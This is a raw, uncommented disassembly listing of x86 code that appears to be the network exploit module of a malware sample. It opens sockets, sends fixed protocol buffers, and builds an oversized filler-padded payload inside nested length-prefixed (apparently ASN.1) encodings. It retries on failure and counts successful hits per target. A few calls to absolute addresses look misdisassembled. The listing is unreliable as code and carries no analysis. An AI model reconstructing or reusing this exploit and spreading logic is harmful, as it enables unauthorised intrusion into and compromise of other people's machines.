		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB


loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------


loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------


loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		nop
		call	near ptr 25F0439h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415450
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797


loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------


loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------


loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1


loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5


loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1


loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43F700
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax


loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx


loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF


loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------


loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------


loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43C824
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------


loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1


loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35


loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------


loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61


loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------


loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43F680


loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43F664
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43F6B8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_43C81C
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B


loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------


loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1


loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl


loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3


loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


